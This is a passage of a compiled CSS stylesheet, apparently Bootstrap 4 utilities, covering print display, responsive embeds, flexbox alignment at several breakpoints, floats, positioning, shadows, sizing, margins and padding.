.d-print-inline {\n    display: inline !important;\n  }\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n  .d-print-block {\n    display: block !important;\n  }\n  .d-print-table {\n    display: table !important;\n  }\n  .d-print-table-row {\n    display: table-row !important;\n  }\n  .d-print-table-cell {\n    display: table-cell !important;\n  }\n  .d-print-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-print-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n}\n\n.embed-responsive::before {\n  display: block;\n  content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n\n.embed-responsive-21by9::before {\n  padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n  padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n  padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n  padding-top: 100%;\n}\n\n.flex-row {\n  -ms-flex-direction: row !important;\n  flex-direction: row !important;\n}\n\n.flex-column {\n  -ms-flex-direction: column !important;\n  flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  -ms-flex-direction: row-reverse !important;\n  flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  -ms-flex-direction: column-reverse !important;\n  flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  -ms-flex-wrap: wrap !important;\n  flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  -ms-flex-wrap: nowrap !important;\n  flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  -ms-flex-wrap: wrap-reverse !important;\n  flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n  -ms-flex: 1 1 auto !important;\n  flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n  -ms-flex-positive: 0 !important;\n  flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n  -ms-flex-positive: 1 !important;\n  flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n  -ms-flex-negative: 0 !important;\n  flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n  -ms-flex-negative: 1 !important;\n  flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n  -ms-flex-pack: start !important;\n  justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  -ms-flex-pack: end !important;\n  justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  -ms-flex-pack: center !important;\n  justify-content: center !important;\n}\n\n.justify-content-between {\n  -ms-flex-pack: justify !important;\n  justify-content: space-between !important;\n}\n\n.justify-content-around {\n  -ms-flex-pack: distribute !important;\n  justify-content: space-around !important;\n}\n\n.align-items-start {\n  -ms-flex-align: start !important;\n  align-items: flex-start !important;\n}\n\n.align-items-end {\n  -ms-flex-align: end !important;\n  align-items: flex-end !important;\n}\n\n.align-items-center {\n  -ms-flex-align: center !important;\n  align-items: center !important;\n}\n\n.align-items-baseline {\n  -ms-flex-align: baseline !important;\n  align-items: baseline !important;\n}\n\n.align-items-stretch {\n  -ms-flex-align: stretch !important;\n  align-items: stretch !important;\n}\n\n.align-content-start {\n  -ms-flex-line-pack: start !important;\n  align-content: flex-start !important;\n}\n\n.align-content-end {\n  -ms-flex-line-pack: end !important;\n  align-content: flex-end !important;\n}\n\n.align-content-center {\n  -ms-flex-line-pack: center !important;\n  align-content: center !important;\n}\n\n.align-content-between {\n  -ms-flex-line-pack: justify !important;\n  align-content: space-between !important;\n}\n\n.align-content-around {\n  -ms-flex-line-pack: distribute !important;\n  align-content: space-around !important;\n}\n\n.align-content-stretch {\n  -ms-flex-line-pack: stretch !important;\n  align-content: stretch !important;\n}\n\n.align-self-auto {\n  -ms-flex-item-align: auto !important;\n  align-self: auto !important;\n}\n\n.align-self-start {\n  -ms-flex-item-align: start !important;\n  align-self: flex-start !important;\n}\n\n.align-self-end {\n  -ms-flex-item-align: end !important;\n  align-self: flex-end !important;\n}\n\n.align-self-center {\n  -ms-flex-item-align: center !important;\n  align-self: center !important;\n}\n\n.align-self-baseline {\n  -ms-flex-item-align: baseline !important;\n  align-self: baseline !important;\n}\n\n.align-self-stretch {\n  -ms-flex-item-align: stretch !important;\n  align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-sm-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-sm-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-sm-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-sm-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-sm-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-sm-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-sm-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-sm-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-sm-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-md-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-md-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-md-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-md-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-md-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-md-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-md-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-md-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-md-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-md-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-md-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-md-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-md-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-md-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-lg-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-lg-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-lg-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-lg-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-lg-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-lg-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-lg-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-lg-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-lg-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-xl-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-xl-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-xl-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-xl-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-xl-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-xl-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-xl-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-xl-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-xl-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.float-none {\n  float: none !important;\n}\n\n@media (min-width: 576px) {\n  .float-sm-left {\n    float: left !important;\n  }\n  .float-sm-right {\n    float: right !important;\n  }\n  .float-sm-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .float-md-left {\n    float: left !important;\n  }\n  .float-md-right {\n    float: right !important;\n  }\n  .float-md-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .float-lg-left {\n    float: left !important;\n  }\n  .float-lg-right {\n    float: right !important;\n  }\n  .float-lg-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .float-xl-left {\n    float: left !important;\n  }\n  .float-xl-right {\n    float: right !important;\n  }\n  .float-xl-none {\n    float: none !important;\n  }\n}\n\n.position-static {\n  position: static !important;\n}\n\n.position-relative {\n  position: relative !important;\n}\n\n.position-absolute {\n  position: absolute !important;\n}\n\n.position-fixed {\n  position: fixed !important;\n}\n\n.position-sticky {\n  position: -webkit-sticky !important;\n  position: sticky !important;\n}\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@supports ((position: -webkit-sticky) or (position: sticky)) {\n  .sticky-top {\n    position: -webkit-sticky;\n    position: sticky;\n    top: 0;\n    z-index: 1020;\n  }\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  overflow: visible;\n  clip: auto;\n  white-space: normal;\n}\n\n.shadow-sm {\n  box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n  box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n  box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n  box-shadow: none !important;\n}\n\n.w-25 {\n  width: 25% !important;\n}\n\n.w-50 {\n  width: 50% !important;\n}\n\n.w-75 {\n  width: 75% !important;\n}\n\n.w-100 {\n  width: 100% !important;\n}\n\n.w-auto {\n  width: auto !important;\n}\n\n.h-25 {\n  height: 25% !important;\n}\n\n.h-50 {\n  height: 50% !important;\n}\n\n.h-75 {\n  height: 75% !important;\n}\n\n.h-100 {\n  height: 100% !important;\n}\n\n.h-auto {\n  height: auto !important;\n}\n\n.mw-100 {\n  max-width: 100% !important;\n}\n\n.mh-100 {\n  max-height: 100% !important;\n}\n\n.m-0 {\n  margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n  margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n  margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n  margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n  margin-left: 0 !important;\n}\n\n.m-1 {\n  margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n  margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n  margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n  margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n  margin-left: 0.25rem !important;\n}\n\n.m-2 {\n  margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n  margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n  margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n  margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n  margin-left: 0.5rem !important;\n}\n\n.m-3 {\n  margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n  margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n  margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n  margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n  margin-left: 1rem !important;\n}\n\n.m-4 {\n  margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n  margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n  margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n  margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n  margin-left: 1.5rem !important;\n}\n\n.m-5 {\n  margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n  margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n  margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n  margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n  margin-left: 3rem !important;\n}\n\n.p-0 {\n  padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n  padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n  padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n  padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n  padding-left: 0 !important;\n}\n\n.p-1 {\n  padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n  padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n  padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n  padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n  padding-left: 0.25rem !important;\n}\n\n.p-2 {\n  padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n  padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n  padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n  padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n  padding-left: 0.5rem !important;\n}\n\n.p-3 {\n  padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n  padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n  padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n  padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n  padding-left: 1rem !important;\n}\n\n.p-4 {\n  padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n  padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n  padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n  padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n  padding-left: 1.5rem !important;\n}\n\n.p-5 {\n  padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n  padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n  padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n  padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n  padding-left: 3rem !important;\n}\n\n.m-auto {\n  margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n  margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n  margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n  margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n  margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n  .m-sm-0 {\n    margin: 0 !important;\n  }\n  .mt-sm-0,\n  .my-sm-0 {\n    margin-top: 0 !important;\n  }\n  .mr-sm-0,\n  .mx-sm-0 {\n    margin-right: 0 !important;\n  }\n  .mb-sm-0,\n  .my-sm-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-sm-0,\n  .mx-sm-0 {\n    margin-left: 0 !important;\n  }\n  .m-sm-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-sm-1,\n  .my-sm-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-sm-1,\n  .mx-sm-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-sm-1,\n  .my-sm-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-sm-1,\n  .mx-sm-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-sm-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-sm-2,\n  .my-sm-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-sm-2,\n  .mx-sm-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-sm-2,\n  .my-sm-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-sm-2,\n  .mx-sm-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-sm-3 {\n    margin: 1rem !important;\n  }\n  .mt-sm-3,\n  .my-sm-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-sm-3,\n  .mx-sm-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-sm-3,\n  .my-sm-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-sm-3,\n  .mx-sm-3 {\n    margin-left: 1rem !important;\n  }\n  .m-sm-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-sm-4,\n  .my-sm-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-sm-4,\n  .mx-sm-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-sm-4,\n  .my-sm-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-sm-4,\n  .mx-sm-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-sm-5 {\n    margin: 3rem !important;\n  }\n  .mt-sm-5,\n  .my-sm-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-sm-5,\n  .mx-sm-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-sm-5,\n  .my-sm-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-sm-5,\n  .mx-sm-5 {\n    margin-left: 3rem !important;\n  }\n  .p-sm-0 {\n    padding: 0 !important;\n  }\n  .pt-sm-0,\n  .py-sm-0 {\n    padding-top: 0 !important;\n  }\n  .pr-sm-0,\n  .px-sm-0 {\n    padding-right: 0 !important;\n  }\n  .pb-sm-0,\n  .py-sm-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-sm-0,\n  .px-sm-0 {\n    padding-left: 0 !important;\n  }\n  .p-sm-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-sm-1,\n  .py-sm-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-sm-1,\n  .px-sm-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-sm-1,\n  .py-sm-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-sm-1,\n  .px-sm-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-sm-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-sm-2,\n  .py-sm-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-sm-2,\n  .px-sm-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-sm-2,\n  .py-sm-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-sm-2,\n  .px-sm-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-sm-3 {\n    padding: 1rem !important;\n  }\n  .pt-sm-3,\n  .py-sm-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-sm-3,\n  .px-sm-3 {\n    padding-right: 1rem !important;\n  